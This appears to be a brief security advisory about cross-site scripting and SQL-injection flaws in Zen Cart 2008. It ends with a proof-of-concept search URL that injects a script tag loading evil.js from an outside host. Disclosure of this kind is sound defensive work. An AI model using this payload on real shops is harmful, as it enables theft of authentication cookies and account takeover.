source: http://www.securityfocus.com/bid/29020/info
 
Zen Cart is prone to a cross-site scripting vulnerability and an SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Zen Cart 2008 is vulnerable; other versions may also be affected.

http://www.example.com/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=><script src=http://site/scripts/evil.js></script>